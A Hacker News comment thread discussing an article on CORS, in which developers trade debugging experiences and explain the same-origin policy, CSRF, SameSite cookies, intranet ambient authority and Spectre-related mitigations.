Hacker News new | past | comments | ask | show | jobs | submit login
Deep dive in CORS: History, how it works, and best practices (ieftimov.com)
387 points by todsacerdoti on April 13, 2021 | hide | past | favorite | 58 comments



I think the issue most developers have with CORS is how late in the dev cycle you encounter it. When everything in localhost/http you don't see any issues. It only crops up once you deploy to staging/production environments that are actually on the web. Worst case is when it works fine in staging, and only has issues in production and someone else controls the allow list.

It usually bites you once, and then you look out for it. But about every web developer I know hits it at some point. There used to be footguns of being able to disable CORS, and devs would provide this as a work around. Thankfully browsers have pretty much disabled these settings without intensive investment.


You just reminded me that the project I am about to deploy and ship with a simple `kubectl -f apply` will not ship as fast as I expected. It will feel familiar, and I will not know why :)

Or worst, because I'm somewhat not such a careful programmer sometimes, sometimes the API call will still point to localhost:3000, and I will only notice next day when I want to show my shiny new creation to my significant other from my mobile.

After running back to my laptop so I can fix it, my SO will wonder why am I taking so long and whether am I any good at my "job". I will wonder why the code hasn't updated since the requests are still failing, but the fix was so "simple".

AHA moments later, I'll rush to just copy and paste the first line I find on stackoverflow.

I'll ask myself: Why I still haven't properly learn CORS!? :D


Something I've recently seen more of is people thinking an issue is a CORS issue when in fact it's just an unhealthy service 500ing on the OPTIONS request. I've seen a couple debugging threads get derailed at the start with "this is a CORS issue" because the first person to open a Chrome console scanned and saw "CORS error" on the failed request (I'm guilty of this myself).


I had to deal with this issue about a month ago. It was surprising, as I didn't know that it made the OPTIONS call, and I've been working with webservers and HTML/JS for at least a decade.


I think the edge compute trend is cycling developers away from CORS again.

The old server-rendered frameworks (rails, django) never really needed CORS because frontend and backend were on the same origin.

Then lots of CORS issues cropped up when we started putting React frontends on a separate subdomain from the backend.

But these days, frontend and backend are being pushed onto the same origin again by running compute (or a reverse proxy) at the edge. Next.js is a good example that has baked this practice into the framework itself.


For small sized apps this may be true. For enterprise apps where multiple teams develop multiple features that all end up the same domain, this is still very much an issue. Many enterprise apps need to talk to more than one backend, and you end up with inexperienced developers trying to call remote services from client side code. Or the reverse where you get reqs to create a public api which is basically a proxy for an external service.

From what I can tell, it hits marketers the hardest. They want to be able to drop tracking code everywhere and get frustrated when third party services don’t have * for an allow list and they can’t put analytics in code that is ultimately hosted and ran from a vendors server.


Hmm, the problem starts from the localhost itself for me because of the different web server ports in which the frontend and api codes run.

But most developers just ‘*’ the accept origin and move on at that time.


I've strangely not had any problems with CORS. Most of my time is spent wondering why CORS doesn't preflight something, when it's obviously a very bad idea to call it without a preflight. (The answer is: legacy. NCSA Mosaic did something, so Chrome 89 has to do it too. The result is that we spend 6 million person hours on XSRF tokens and carefully-drawn security vulnerability brand assets.)


I regularly ask about CORS in interviews.

The issue most developers have with CORS is that on a team, one person solves it for the team's local development and maybe another person solves it for deployments. That is, most of the team never deals with it at all.

> When everything in localhost/http you don't see any issues.

I find the opposite to be true with React dev. You run an api on one port and your react app on another and get CORS errors. In a regular deployment, you just allow origins in the server and all is good. On localhost, every time you change/add a port, you have to allow another origin, play some proxy shenanigans, or run your browser without CORS.


Or when an IT audit shows it as a missing best practice.


I’ve always setup HTTPS to an alias domain as the first step in any of my projects. I do it because at an early internship I witnessed a bunch of bugs that only appeared after pushing to “prod.”

Nowadays with tools like mkcert it’s trivial to install and maintain a trusted root cert for whatever .test (RFC approved TLD) domain you want to add to /etc/hosts. (Just be careful which colleagues you allow to install a custom root cert on your device. ;))

As a fULlStAck DeVeLoPEr, what annoys me the most are the preflight CORS OPTIONS requests, and the fact they came out of nowhere in the past ~5 years. Most frameworks don’t have a good solution for dealing with those requests out of the box. It’s annoying how web standards change so much so frequently. I could put my code in a vault and take it out in 2023 and it would probably break due to some obscure update in whatever JS runtime is popular then.


Prior to the introduction of CORS preflight requests, those same requests simply would have been blocked by the browser.

Your old code will still work. If you see CORS preflight requests, then you are using new capabilities that didn't exist before CORS.


In my current project I use mitmproxy for that. It generates a CA that I can trust via my keychain, and don't have to worry about how to import the mkcert certificates into various servers (rails, nodejs express, next.js etc). It's easy enough to run mitmproxy parallel to the application server.


Do you think this is a good option for Windows -> WSL2 -> docker stuff? I've had trouble with MKCert in these scenarios


I've had a bit of trouble getting mkcert working properly, but my setup is a bit weird. Windows 10 -> WSL2 -> Docker. It works, but it's a bit finnicky.

I've had similar problems with the OPTIONS, particularly in dealing with some rather dated Magento stores.


Great and clear guide to this thorny topic. However, even this article gets a little confused in its wording at one point:

> In such cases, we want our API to set the Access-Control-Allow-Origin header to our website’s URL. That will make sure browsers never send requests to our API from other pages.

> If users or other websites try to cram data in our analytics API, the Access-Control-Allow-Origin headers set on the resources of our API won’t let the request to go through.

The ACAO header only performs a controlled relaxation of cross-origin restrictions. It is the browser that is ensuring that by default other pages can't send requests to the API. Just a nitpick as I feel the rest of the article illustrates this well.


Great article. I've never understood CORS. One thing that still doesn't make sense to me here -

the article says cross origin writes, which includes form submissions are allowed by default. Isn't that a security risk? Wouldn't the scenario of deleting your bank account be possible if the bank used a form submission instead of a POST request on the delete page?


It used to be, and that's why web frameworks included a CSRF token with all write requests. Without the CSRF token (which a third party couldn't have), the write would be stopped.

In modern browsers, the CSRF token isn't necessary anymore as long as the cookie's SameSite policy is set to Lax (the default) or Strict. Both will stop the cookie from being sent with a third party form submission.


That's simply because of historical compatibility. What you're describing is what a basic HTML form does - and despite it representing a CSRF risk, it can't be removed. As such, it's standard practice to protect against CSRF attacks


Yeah, the thing I've never quite understood is why the CORS rules are so complex, and why there are so many exceptions. I think this article could be improved by doing a better job explaining why there are so many exceptions. E.g. form posts to cross-origin servers are allowed by default, but as another commenter pointed out, this is only for historical compatibility reasons and would be disallowed if we were creating the rules of HTML from scratch today.


This is simply because it has always been allowed. Even before JavaScript, a form could post to an arbitrary URL. So to remain backwards compatible, CORS could not disallow it.


Well yes, and that's why CSFR are still somewhat common today.


One surprising thing to keep an eye out for is that many web servers do not use the content-type headers when receiving json data; they simply parse the text as json regardless of its stated type and go from there. This means that requests encoded and mime-typed as form data that also parse as json can be sent to servers without triggering a pre-flight request. This can result in CSRF where it's not expected.


Where can I read more about this?


Here’s my go to article on this behaviour:

http://blog.opensecurityresearch.com/2012/02/json-csrf-with-...


CORS is not the end all be all of security. You should have a reasonable CORS policy of course, but assume that you have malicious clients who disable it in their browser to see what your backend does or, even simpler, they just use get.


The assumption here is that the attacker controls a domain A, and the victim is visiting A. The victim is also logged into a benign site, with domain B. A's CORS policy is irrelevant, the attacker can "disable cors" for A, but it will accomplish nothing, B has CORS enabled.

The attacker could make an HTTP request to B and set 'no-cors' or whatever, but then it couldn't include credentials (if you're using HTTP cookies), and again, B would still just reject the request.

So I'm not sure what you're saying is true. This isn't my area of security, happy to hear if I'm mistaken.


I think they just mean to not use CORS as the only method of validation


The same-origin policy protects users of your site from being attacked. It doesn't do anything to protect you (except indirectly by protecting your users).


> CORS is not the end all be all of security.

Hi friend, just a heads up, it's "the be-all and end-all" :-)


Overall this was great. One bit stood out as odd though:

> In such cases, our API is public, but we don’t want any website to send data to our analytics API. In fact, we are interested only in requests that originate from browsers that have our website rendered – that is all.

CORS doesn't seem like the right tool for this. Anyone can spam your analytics endpoints without a browser; do you gain anything meaningful by restricting the browser as well?


It's the right tool for preventing WEBSITES from using your endpoints - they might be able to take your JS, reverse engineer and run it, but you can mitigate how useful this is by preventing calls to CORS-protected resources. This does not protect your endpoints from attackers in general though, so to your point, it depends what they're trying to accomplish.


I'm relatively new to the world of browser CORS concerns. But let me get this straight:

> Such a configuration has to be carefully considered. Yet, putting relaxed CORS headers is almost always safe. One rule of thumb is: if you open the URL in an incognito tab, and you are happy with the information you are exposing, then you can set a permissive (*) CORS policy on said URL.

> A dangerous prospect of such configuration is when it comes to content served on private networks (i.e. behind firewall or VPN). When you are connected via a VPN, you have access to the files on the company’s network

So the entire CORS dance exists because people thought VPNs were a good solution to protecting resources on the internet? That's mildly infuriating...


No. That's one potential risk, but hardly the only one.

The entire CORS dance is to work around the pre-existing browser based security model. It was specifically to create a backwards compatible model that would enable requests across origins, without compromising the existing security model.

This is a little overly simplified, but, consider how 'helpful' the browser is; when you make a request to a backend, any related cookie gets sent along with it. So, a danger realized early on was (by example), if someone was logged into their bank, and then accessed a malicious site, the malicious site could make a request to the bank to, say, transfer money. Because the bank used cookies for authentication, the transfer would be authorized and go through.

VPN is a similar risk, but even authenticated resources might be available, depending on the type of authentication (and, certainly, unauthenticated ones are exposed).

To prevent that, early on, they decided to block cross origin requests entirely. Well, almost; due to the nature of the web, GET requests had to be able to be made cross origin (it's why you can link to other websites/content), so they just prevented scripts from having access to the data. This was fine from a security standpoint, but it had a major usability issue. A lot of terrible workarounds were implemented (I'm looking at you, JSONP), with CORS being the official "this is how we'll allow you to, intentionally, relax this requirement, while still keeping the security decisions in place, and allow everything to be backwards compatible".


I thought origin policies could be applied at the cookie level such that the browser would only send the relevant cookies to your bank if the request originated from active user navigation to bank.com or from content served by the response received thereafter: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Se...? That way instead of service X saying "only requests from these origins are allowed", bank.com is saying "these cookies are sensitive please restrict them to requests that happen when the user has actually navigated to our website". In the bank scenario you presented, does CORS provide any additional benefit beyond cookie-level access control policies? Is there another scenario I'm missing in general?


SameSite was created by Google in 2016, and required both adoption across browsers and backend changes to be secure (that is, reliance on SameSite being set for security would mean backends that don't set it are not secure; it is opt in).

Preventing cross origin requests as a necessary security measure happened as part of the initial implementation of XmlHttpRequest back in the 90s.

CORS was a working draft as early as 2006, implemented across browsers by 2013ish, accepted as a W3C recommendation in 2014, and was 'secure by default'; the only backend changes necessary were when you wanted to allow cross origin requests (that is, it is opt out).


The SameSite cookie policy doesn't offer fine-grained control like CORS. So, if you want to allowlist cookies for certain third-party origins but not all, CORS would be a better option.

In practice, most sites want to prevent all cross-origin requests and SameSite is easier.

And in more recent practice, Safari and Firefox are blocking third-party cookies by default, so it's pretty rare to see a setup leveraging CORS for fine-grained cookie access.


We just ran into this CORS Same-Site cookie issue and it is going to become much more common. If the original author expanded to include the Same-Site rules as it applies to cookies it would be great!


The entire CORS dance exists because we're building applications on platform originally intended for public documents.


CORS is not that hard and never has been. The real problem is that bank.com keeps hiring developers that think CORS is an obstacle to be overcome instead of a feature that is providing value. As a result CORS keeps getting more complicated in order to break the workarounds of those who thought they got it right the first time while also breaking things for those that actually did.


Kind of. As I explained in my sibling comment at https://news.ycombinator.com/item?id=26801359 , it really exists because people (e.g. intranet administrators) expose resources based on your network status or IP addresses. I think this is a bit more general than specifically VPNs.

If it wasn't for that, then yeah, we could just strip cookies/client certs/etc. from cross-origin requests and they'd be safe.


Sadly, many MANY people in high places still think VPNs are the best solution (and the only solution you need) to protecting resources.


"But, if you’re logged in the intranet of Awesome Corp., once you open my dangerous.com website I’ll know that you have access."

How? The subresource is a url to an internal server (https://intra.awesome-corp.com/avatars/john-doe.png)... sure it loads from my browser, but how does that tell that info to dangerous.com?


img = document.createElement('img'); img.src = 'https://intra.awesome-corp.com/avatars/john-doe.png'; img.onload = ?


My question is, how do I fetch some info from an API hosted on some other server? It's just a bit of json I need... But it keeps getting blocked by CORS.


The trickiest thing about learning this space is the places where patterns are broken for legacy reasons. Several places where, had CORS been designed from scratch, the patterns would differ, have to account for situations where implementing some restrictions would have broken the web as it existed at the time CORS was developed.

It's not just a security story; it's a history story.


pro-tip - use Firefox for diagnosing CORS issues. It has much better error messages than the alternatives.


I must be missing something here... is the article suggesting by going to evil.com it somehow has access to the auth cookies of bank.com?? If that is the case then you are screwed. CORS isn't going to save you.


evil.com can't see the auth cookies, but if evil.com (or anyone else) makes a request to bank.com, then that request will have the cookies for bank.com automatically included.

That is precisely why the same-origin policy sharply limits what kinds of requests evil.com is allowed to send to bank.com.


Though even still, the same-origin policy isn’t strict enough to prevent CSRF. For example, your browser will still send POSTs with Content Type application/x-www-form-urlencoded cross-origin, with cookies, even if it doesn’t let you read the response. That’s why we have to add complexity with anti-forgery tokens :/

It’ll be great when you can simply count on browsers having implemented strict SameSite cookies, because that’s such a simple, elegant solution. Anti-forgery tokens are a bit of a hack.


Isn't it easy to just block all `application/x-www-form-urlencoded` requests?


Most sites won’t want to do this, because HTML forms are useful! Also, that’s just one example, there are plenty of exemptions to the same origin policy: https://developer.mozilla.org/en-US/docs/Web/Security/Same-o...

In practice, for now you either use anti-forgery tokens, you don’t put your auth tokens in cookies, or you use strict SameSite auth cookies AND block all traffic from browsers that don’t support them (mostly legacy browsers).


This writeup is unfortunately missing several important points:

### Ambient authority

All the examples explained (e.g. deleting your bank account) rely on credentials. You might ask, can we just allow web pages to send arbitrary cross-origin requests, as long as we strip cookies/client certs/etc.?

Unfortunately no. This is because of the ambient authority derived from IP addresses. That is, there are an unfortunately large number of servers (e.g. intranets, routers, printers) which will accept any request from a given IP range. Corporate intranets are perhaps the biggest one here. It would be bad if you could just issue a request fetch("go/secret-doc") and get the contents of the document from the intranet.

So even apart from credentials, the same-origin policy needs to protect cross-origin resources.

This also explains why you can easily "get around" the same-origin policy by making a request to a proxy server (like https://github.com/Rob--W/cors-anywhere ). Any requests initiated from the proxy server's IP address no longer carry ambient authority, so such a "workaround" preserves the desirable security properties.

### Dividing the world into reading/writing/embedding is not working well

If we were designing the web from scratch, you would not be able to do any operations (embedding, reading, or writing) cross-origin without an explicit CORS exemption. This is the standard that new features are held to, e.g. <script type=module>, CSS fonts, and import maps.

So it's best to think of the fact that images/iframes/classic scripts/etc. can be "embedded" cross-origin, and forms can POST cross-origin, as legacy exceptions.

This has become especially bad in light of Spectre, which essentially makes embedding === reading: if an attacker embeds an image, that brings it into the same address space, and then the attacker can read its contents using Spectre.

There are various mitigations to this. E.g.:

- Out-of-process iframes (an implementation technology), specifically for embedding iframes

- CORB (a semi-standard technology), which attempts to sniff byte sequences and avoid bringing cases like <img src="textfile.txt"> into the same process

- Gating features which are especially helpful for Spectre (like SharedArrayBuffer) behind "cross-origin isolation" (https://web.dev/why-coop-coep/) which essentially puts your website into a mode which disallows these legacy exceptions and requires opt-in even for embedding.

### Specs

> Even though same-origin policy implementations are not required to follow an exact specification, all modern browsers implement some form of it. The principles of the policy are described in RFC6454 of the Internet Engineering Task Force (IETF).

This is not accurate. The specifications for fetching these subresources and protecting from cross-origin access are very precise, and none of them are related to the IETF or RFC6454. The foundational ones are:

- https://html.spec.whatwg.org/multipage/origin.html#origin - https://fetch.spec.whatwg.org/

and then various specifications (such as HTML, or XMLHttpRequest, or Service Workers) build on top of these, e.g. by using Fetch's "cors" or "no-cors" modes.

Another special case is https://html.spec.whatwg.org/multipage/browsers.html#cross-o... which defines exactly how browsers allow certain forms of access to cross-origin windows (e.g. frames[0].postMessage()) but disallow others (e.g. frames[0].document.documentElement.outerHTML).


Not to be confused with the GPS related Continuously Operating Reference Systems: https://oceanservice.noaa.gov/education/tutorial_geodesy/geo...


Excellent article. Explanation of CORS from basic to functional. Includes console examples. Crystal server examples. What's not to like?

I do see a few typos where the caffeine ran out. Not an issue though.


Any suggestions on how to test CORS properly?


I use aliases in my hosts/dns so even in local-dev mode I'm still using different hostnames for services in the config and natural ports so it looks close to real.


This topic always trips me up, thanks for the guide




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: